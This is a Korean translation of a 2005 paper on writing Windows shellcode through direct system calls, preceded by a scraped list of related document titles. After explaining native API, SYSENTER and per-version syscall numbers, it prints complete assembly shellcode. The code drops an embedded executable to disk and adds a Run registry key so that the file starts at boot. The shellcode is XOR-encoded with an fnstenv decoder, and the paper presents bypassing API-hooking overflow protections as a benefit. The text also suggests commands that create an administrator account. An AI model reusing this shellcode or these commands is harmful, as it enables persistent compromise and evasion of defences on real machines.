/* */

Similar documents
hlogin2

Deok9_Exploit Technique

Microsoft PowerPoint - a10.ppt [호환 모드]

No Slide Title

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

Microsoft Word - building the win32 shellcode 01.doc

Microsoft PowerPoint - a8a.ppt [호환 모드]


02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

Microsoft Word - FunctionCall

강의10

Microsoft PowerPoint - chap01-C언어개요.pptx

PowerPoint 프레젠테이션

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

CKKeyPro 적용가이드

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

Microsoft PowerPoint - a9.ppt [호환 모드]

IDA 5.x Manual hwp

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - a6.ppt [호환 모드]

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

=

PRO1_09E [읽기 전용]

6주차.key

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

PowerPoint Template

저자는 코드나 정보제공에 있어서의 모든 행동에 대해 책임을 지지 않습니다

Microsoft PowerPoint - o8.pptx

Deok9_PE Structure

DocsPin_Korean.pages

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

untitled

Figure 5.01

Microsoft PowerPoint - a5a.ppt [호환 모드]

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc

No Slide Title

Chap04(Signals and Sessions).PDF

hlogin7

Microsoft PowerPoint - 15-MARS

Microsoft Word - ExecutionStack

Microsoft Word - Static analysis of Shellcode.doc

5.스택(강의자료).key

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

PowerPoint 프레젠테이션

Microsoft Word - 1. ARM Assembly 실습_xp2.doc

SRC PLUS 제어기 MANUAL

BMP 파일 처리

1

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

<4D F736F F D20B9D9C0CCB7B5B9D9C0CCB7AFBDBA5FBCF6C1A42E646F63>

13주-14주proc.PDF

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

untitled

[8051] 강의자료.PDF

rmi_박준용_final.PDF

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770>

Chapter #01 Subject

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft Word - Heap_Spray.doc

Cogame 취약점 보고

Microsoft Word - UFuz3 분석.doc

02 C h a p t e r Java

<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A

API 매뉴얼

<B1E2BCFAB9AEBCAD28C0CCB5BFBCF6295F F6F6B696E672E687770>

슬라이드 1

Microsoft Word - MSOffice_WPS_analysis.doc

PowerPoint 프레젠테이션

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

The_IDA_Pro_Book

untitled

MPLAB C18 C

PCServerMgmt7

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

Chap06(Interprocess Communication).PDF

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

1.hwp

bn2019_2

Interstage5 SOAP서비스 설정 가이드

thesis

Linux Binary Hardening with Glibc Hyeonho Seo


Modern Javascript

02( ) CSTV11-22.hwp

SIGPLwinterschool2012

how_2_write_Exploit_4_the_MSF_v3.x.hwp

untitled

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

제목

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

디지털포렌식학회 논문양식

Microsoft PowerPoint APUE(Intro).ppt

Orcad Capture 9.x

PowerPoint 프레젠테이션

Transcription:

/*---------------------------------------------------------------------------------*/ 번역 : innovation@wowhacker.org /*---------------------------------------------------------------------------------*/ Windows Syscall Shellcode Piotr Bania 2005-08-04 Introduction 이문서는표준 API 호출을전혀사용하지않고 Windows 운영체제를위한쉘코드를작성하는것이가능하다는것을보여주기위해작성되었다. 물론, 모든방법이그렇듯이, 이접근방식도장점과단점을모두가지고있다. 이문서에서우리는쉘코드에대해알아보고또한몇가지예제의사용에대해서도소개할것이다. 이문서를완벽히이해하기위해서는 IA-32 어셈블리지식이반드시필요하다. 이문서에나오는모든쉘코드는 Windows XP SP1 에서테스트되었다. 운영체제와서비스 팩레벨에따라방식의차이가있을수있다는것을기억해라, 그리고이런내용들은 우리가진행해나가면서추후에더논의가될것이다. Some Background Windows NT-기반시스템들 (NT/2000/XP/2003 등 ) 은각각의고유한환경을가지고있는, 다양한서브시스템들을다루도록설계되었다. 예를들어, NT 서브시스템중의하나는 Win32이다 ( 일반 Windows 어플리케이션들을위한 ), 다른예로는 POSIX (Unix) 또는 OS/2가있을것이다. 이것이의미하는것은뭘까? 이것은 Windows NT가실제로 OS/2를실행하고 ( 물론적절한 os add-ons를사용해서 ) OS/2 기능들의대부분을지원할수있다는것을의미한다. 그렇다면 OS가개발될때어떤작업들이행해지는것일까? 이같은잠재적인서브시스템전부를지원하기위해서, 마이크로소프트는각서브시스템의 wrapper라고불리는통합된 API 집합만들었다. 따라서, 모든서브시스템은그들이작업하기위해필요로하는모든라이브러리를가지고있는것이다. 예를들어 Win32 어플리케이션이 Win32 서브시스템 API를호출하는경우, 사실은 NT API (native API, 혹은단순히 native) 를호출하는것이다. Native는서브시스템이전혀실행될필요가없다.

From native API calls to syscalls 표준 API 호출을전혀사용하지않고쉘코드를작성할수있다는것이사실일까? 음, API에따라다를수있다. Native NT API와그외의것들을호출하지않고그들의작업을수행하는여러 API들이있다. 이것을증명하기위해, KERNEL32.DLL로부터익스포트된 GetCommandLineA API를살펴보자..text:77E7E358 ; --------------- S U B R O U T I N E -------------------------.text:77e7e358.text:77e7e358.text:77e7e358 ; LPSTR GetCommandLineA(void).text:77E7E358 public GetCommandLineA.text:77E7E358 GetCommandLineA proc near.text:77e7e358 mov eax, dword_77ed7614.text:77e7e35d retn.text:77e7e35d GetCommandLineA endp 위의 API 루틴은어떠한호출도사용하지않는다. 이루틴이하는것은단지프로그램명령행에대한포인터를리턴하는것이다. 그러나이번에는우리의이론에부합하는예제를살펴보자. TerminateProcess API의디스어셈블리내용에는어떤것이나오는가..text:77E616B8 ; BOOL stdcall TerminateProcess(HANDLE hprocess,uint uexitcode).text:77e616b8 public TerminateProcess.text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j.text:77e616b8 ; sub_77ec3509+da p.text:77e616b8.text:77e616b8 hprocess = dword ptr 4.text:77E616B8 uexitcode = dword ptr 8.text:77E616B8.text:77E616B8 cmp [esp+hprocess], 0.text:77E616BD jz short loc_77e616d7.text:77e616bf push [esp+uexitcode] ; 1st param: Exit code.text:77e616c3 push [esp+4+hprocess] ; 2nd param: Handle of process.text:77e616c7 call ds:ntterminateprocess ; NTDLL!NtTerminateProcess

보다시피, TerminateProcess API는인자값을전달한후 NTDLL.DLL에의해익스포트된 NtTerminateProcess를호출한다. NTDLL.DLL은 native API이다. 바꾸어말하면, Nt 로시작하는함수는 native API라고부른다 ( Nt 로시작하는함수중몇가지는 ZwAPI이다 NTDLL 라이브러리로부터익스포트되는것들에어떤것이있는지살펴봐라 ). 자이제 NtTerminateProcess를살펴보자..text:77F5C448 public ZwTerminateProcess.text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77f68f09+d1 p.text:77f5c448 ; RtlAssert2+B6 p.text:77f5c448 mov eax, 101h ; syscall number: NtTerminateProcess.text:77F5C44D mov edx, 7FFE0300h ; EDX = 7FFE0300h.text:77F5C452 call edx ; call 7FFE0300h.text:77F5C454 retn 8.text:77F5C454 ZwTerminateProcess endp 사실이 native API 는 eax 에 syscall 숫자를저장하고메모리주소 7FFE0300h 에있는 것을호출한다. 7FFE0300h 에있는것은아래와같다 : 7FFE0300 8BD4 MOV EDX,ESP 7FFE0302 0F34 SYSENTER 7FFE0304 C3 RETN 위의내용은이야기가어떻게진행되는지를보여준다 ; EDX는현재사용자스택포인터이고, EAX는실행시키려는시스템콜이다. SYSENTER 명령어는레벨 0 시스템루틴으로의빠른호출을실행하고, 작업의나머지를수행한다. Operating system differences Windows 2000 ( 그리고 XP 이상의시스템을제외한 NT 기반시스템들 ) 에서 SYSENTER 명령어는사용되지않는다. 그러나, Windows XP 에서는 int 2eh ( 이전방법 ) 이 SYSENTER 명령어로대체되었다. 아래표는 Windows 2000 의 syscall 구현을보여준다 : MOV EAX, SyscallNumber LEA EDX, [ESP+4] INT 2Eh ; requested syscall number ; EDX = params... ; throw the execution to the KM handler

RET 4*NUMBER_OF_PARAMS ; return 우리는이미 Windows XP 에서사용되는방법을알고있으나, 내가쉘코드상에서사용하는 방법중의하나는아래와같다. push fn ; push syscall number pop eax ; EAX = syscall number ; this one makes no diff call b ; put caller address on stack b: add [esp],(offset r - offset b) ; normalize stack mov edx, esp ; EDX = stack db 0fh, 34h ; SYSENTER instruction r: add esp, (param*4) ; normalize stack 인텔펜티엄 2 프로세스에서처음소개된것으로알고있다. 본저자가생각하기에확실하진않으나 SYSENTER가애슬론프로세서에서는지원되지않을거라고추측된다. 명령어가특정프로세서상에서사용가능한지아닌지확인하기위해, SEP 플래그검사를사용하는 CPUID 명령어그리고특정 family/model/stepping 검사를사용해라. 인텔에서어떤식으로타입검사를하는지에관한예제가아래에있다 : IF (CPUID SEP bit is set) THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3) THEN SYSENTER/SYSEXIT_NOT_SUPPORTED FI; ELSE SYSENTER/SYSEXIT_SUPPORTED FI; 물론이러한시스템콜번호들의차이점은여러 Windows 운영체제에서뿐만아니라 다음의표가보여주는것처럼여러 Windows 버전사이에서도차이가난다 : Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread Windows NT SP 3 0x3 0x5 0x7 SP 4 0x3 0x5 0x7 SP 5 0x3 0x5 0x7

SP 6 0x3 0x5 0x7 SP 0 0x8 0xa 0xc SP 1 0x8 0xa 0xc Windows 2000 SP 2 0x8 0xa 0xc SP 3 0x8 0xa 0xc SP 4 0x8 0xa 0xc SP 0 0x8 0xb 0xd Windows XP SP 1 0x8 0xb 0xd SP 2 0x8 0xb 0xd Windows 2003 Server SP 0 0x8 0xc 0xe SP 1 0x8 0xc 0xe syscall 번호테이블은인터넷에서얻을수있다. 독자들은 metasploit.com 에있는것을 참조하기바란다, 그러나괜찮은다른자료들도있을것이다. Syscall shellcode advantages 이방식을사용하는경우몇가지이점이있다 : 쉘코드는 API 사용을필요로하지않는다, 이것은처리해야할 API 주소가없기때문이다 ( 찾아야하는커널주소 / 파싱해야하는익스포트 / 임포트섹션, 등이존재하지않는다 ). 이런 기능 때문에대부분의 ring3 버퍼오버플로우방지시스템 을우회할수있다. 이런보호매커니즘은버퍼오버플로우공격자체를막지않고, 대신주로가장많이사용되는 API들을후킹하고호출자의주소를체크한다. 이제, 이런검사는쓸모없어질것이다. 왜냐하면당신은요청을커널핸들러에게직접전달하고 Win32 서브시스템으로부터의모든명령어들을 건너뛴다, 실행속도도매우높아진다. ( 비록최신프로세스들에서, 쉘코드의속도를신경쓸사람은없겠지만.) Syscall shellcode disadvantages 이방식에는몇가지불편한점이있다 :

크기 -- 이것이가장불편한점이다. 우리가서브시스템 wrapper 전부를 건너뛰기 때문에, 서브시스템 wrapper를대신할우리만의코드가필요하고, 이것은쉘코드의사이즈를증가시킨다. 호환성 위에서작성되었듯이, 운영체제의버전에따라 int 2eh 에서 sysenter 까지여러구현방식들이존재한다. 또한, 시스템콜번호는각 Windows 버전에따라변한다 ( 더자세한내용은레퍼런스섹션을참고해라 ). The ideas 이문서끝부분에있는쉘코드는파일을덤프하고레지스트리키를작성한다. 이작업은생성된파일을컴퓨터재시작후실행시킨다. 많은독자들이왜파일을바로실행시키지않고레지스트리키를저장시키냐고물어볼수있을것이다. 음, syscall을사용하여 win32 어플리케이션을실행시키는것은간단한작업이아니다 NtCreateProcess가이작업을할것이라고생각하지는마라 ; CreateProcess API가어플리케이션을실행시키기위해필요한작업에어떤것이있는지살펴보자 : 1. 프로세스내에서실행될이미지파일 (.exe) 를연다. 2. Windows 실행프로세스오브젝트를생성한다. 3. 초기화된쓰레드를생성한다 ( 스택, 컨텍스트, 그리고 Windows 실행쓰레드오브젝트 ). 4. 생성된프로세스와쓰레드를설정할수있도록 Win32 서브시스템에게생성된프로세스를알려준다. 5. 초기화된쓰레드의실행을시작한다 (CREATE_SUSPENDED 플래그가설정되어있지않다면 ). 6. 생성된프로세스와쓰레드의컨텍스트내에서, 주소공간의초기화작업을마무리하고프로그램의실행을시작한다. 이렇기때문에, 레지스트리를사용하는것이매우쉽고간결하다. 이문서를끝맺는아래의쉘코드는샘플 MessageBox 어플리케이션을생성하나 ( 대개는, PE 구조자체가크기때문에사이즈는증가한다 ) 여기에는여러해결책이있다. 공격자는스크립트파일 (batch/vbs/others) 을생성할수있고 ftp 서버로부터트로이안 / 백도어파일을다운로드할수있으나, 단순히다음과같은여러명령어들을실행할수도있다 : net user /add piotr test123 & net localgroup /add administrators piotr. 이런방법은독자들이최적화하는데도움이될것이다, 이제우리는이문서에서얘기한쉘코드의개념을증명해보자.

The shellcode - Proof Of Concept comment $ $ ----------------------------------------------- WinNT (XP) Syscall Shellcode - Proof Of Concept ----------------------------------------------- Written by: Piotr Bania http://pb.specialised.info include my_macro.inc include io.inc ; --- CONFIGURE HERE ----------------------------------------------------------------- ; If you want to change something here, you need to update size entries written above. FILE_PATH equ "?? C: b.exe",0 ; dropper SHELLCODE_DROP equ "D: asm shellcodexxx.dat" ; where to drop ; shellcode REG_PATH equ " Registry Machine Software Microsoft Windows CurrentVersion Run",0 ; ------------------------------------------------------------------------------------ KEY_ALL_ACCESS equ 0000f003fh ; const value _S_NtCreateFile equ 000000025h ; syscall numbers for _S_NtWriteFile equ 000000112h ; Windows XP SP1 _S_NtClose _S_NtCreateSection _S_NtCreateKey _S_NtSetValueKey _S_NtTerminateThread _S_NtTerminateProcess equ 000000019h equ 000000032h equ 000000029h equ 0000000f7h equ 000000102h equ 000000101h @syscall macro fn, param ; syscall implementation local b, r ; for Windows XP push fn pop eax ; makes no diff call b b: add [esp],(offset r - offset b) mov edx, esp db 0fh, 34h r: add esp, (param*4)

endm path struc ; some useful structs p_path dw MAX_PATH dup (?) ; converted from C headers path object_attributes ends struc oa_length dd? oa_rootdir dd? oa_objectname dd? oa_attribz dd? oa_secdesc dd? oa_secqos dd? object_attributes pio_status_block ends struc psb_ntstatus dd? psb_info dd? pio_status_block ends unicode_string struc us_length dw? dw? us_pstring dd? unicode_string ends call crypt_and_dump_sh ; xor and dump shellcode sc_start proc local u_string :unicode_string local fpath :path ; local variables ; (stack based) local rpath :path local obj_a :object_attributes local iob :pio_status_block local fhandle :DWORD local rhandle :DWORD sub ebp,500 push FILE_PATH_ULEN pop [u_string.us_length] push 255 pop [u_string.us_length+2] lea edi,[fpath] ; allocate space on stack ; set up unicode string ; length ; set up unicode max string ; length ; EDI = ptr to unicode file

push edi pop [u_string.us_pstring] call a_p1 ; path ; set up the unciode entry ; put file path address a_s: db FILE_PATH ; on stack FILE_PATH_LEN equ $ - offset a_s FILE_PATH_ULEN equ 18h a_p1: pop esi ; ESI = ptr to file path push FILE_PATH_LEN pop ecx ; (ascii one) ; ECX = FILE_PATH_LEN xor eax,eax ; EAX = 0 a_lo: lodsb ; begin ascii to unicode stosw loop a_lo lea edi,[obj_a] lea ebx,[u_string] push 18h pop [edi.oa_length] push ebx ; conversion do not forget ; to do sample align ; EDI = object attributes st. ; EBX = unicode string st. ; sizeof(object attribs) ; store ; store the object name pop [edi.oa_objectname] ; rootdir = NULL pop [edi.oa_rootdir] ; secdesc = NULL pop [edi.oa_secdesc] ; secqos = NULL pop [edi.oa_secqos] push 40h ; attributes value = 40h pop [edi.oa_attribz] lea ecx,[iob] push 60h push 05h push 80h push ecx ; ECX = io status block ; ealength = null ; eabuffer = null ; create options ; create disposition ; share access = NULL ; file attributes ; allocation size = NULL ; io status block

push edi push 0C0100080h ; object attributes ; desired access lea esi,[fhandle] push esi @syscall _S_NtCreateFile, 11 lea ecx,[iob] push main_exploit_s call a3 ; (out) file handle ; execute syscall ; ecx = io status block ; key = null ; byte offset = null ; length of data ; ptr to dropper body s1: include msgbin.inc ; dopper data main_exploit_s equ $ - offset s1 a3: push ecx ; io status block push dword ptr [esi] @syscall _S_NtWriteFile, 9 mov edx,edi lea edi,[rpath] push edi pop [u_string.us_pstring] push REG_PATH_ULEN ; apc context = null ; apc routine = null ; event = null ; file handle ; execute the syscall ; edx = object attributes ; edi = registry path ; store the pointer ; into unicode struct ; store new path len pop [u_string.us_length] call a_p2 ; store the ascii reg path a_s1: db REG_PATH ; pointer on stack REG_PATH_LEN equ $ - offset a_s1 REG_PATH_ULEN equ 7eh a_p2: pop esi ; esi ptr to ascii reg path push REG_PATH_LEN pop ecx ; ECX = REG_PATH_LEN a_lo1: lodsb ; little ascii 2 unicode stosw ; conversion loop a_lo1 ; disposition = null ; create options = null

push edx push KEY_ALL_ACCESS ; class = null ; title index = null ; object attributes struct ; desired access lea esi,[rhandle] push esi ; (out) handle @syscall _S_NtCreateKey,6 lea ebx,[fpath] lea ecx,[fhandle] ; EBX = file path ; ECX = file handle pop [ecx] push FILE_PATH_ULEN - 8 ; nullify file handle ; push the unicode len ; without 8 (no '?? ') push ebx ; file path add [esp],8 ; without '??' push REG_SZ ; type ; title index = NULL push ecx ; value name = NULL = default push dword ptr [esi] @syscall _S_NtSetValueKey,6 ; key handle ; set they key value dec eax ; exit status code ; process handle ; -1 current process @syscall _S_NtTerminateProcess,2 ; maybe you want ; TerminateThread instead? ssc_size sc_start equ $ -offset sc_start endp exit: push 0 @callx ExitProcess crypt_and_dump_sh: ; this gonna' xor ; the shellcode and mov edi,(offset sc_start - 1) mov ecx,ssc_size ; add the decryptor ; finally shellcode file ; will be dumped

xor_loop: inc edi xor byte ptr [edi],96h loop xor_loop _fcreat SHELLCODE_DROP,ebx _fwrite ebx,sh_decryptor,sh_dec_size ; some of my old crazy ; io macros _fwrite ebx,sc_start,ssc_size _fclose ebx jmp exit sh_decryptor: xor ecx,ecx ; that's how the decryptor ; looks like mov cx,ssc_size fldz sh_add: fnstenv [esp-12] ; fnstenv decoder pop edi add edi,sh_dec_add sh_dec_loop: inc edi xor byte ptr [edi],96h loop sh_dec_loop sh_dec_add equ ($ - offset sh_add) + 1 sh_dec_size equ $ - offset sh_decryptor end start Final words 당신이이문서를재밌게읽었기를바란다. 만약질문이있다면주저하지말고나에게연락하기바란다 ; 또한코드는순수하게학습목적으로개발된것임을명심해라. Further reading 1. Inside the Native API by Mark Russinovich 2. MSDN from Microsoft 3. Interactive Win32 syscall page from Metasploit About the author

Piotr Bania 는 5 년의실무경험을가진폴란드의프리랜서 IT 보안 / 안티 - 바이러스연구원이다. 그는 RealPlayer 와같은대중적인어플리케이션들에서매우심각한보안취약점들을여럿 발견했다. 더자세한정보는그의웹사이트에서찾을수있다.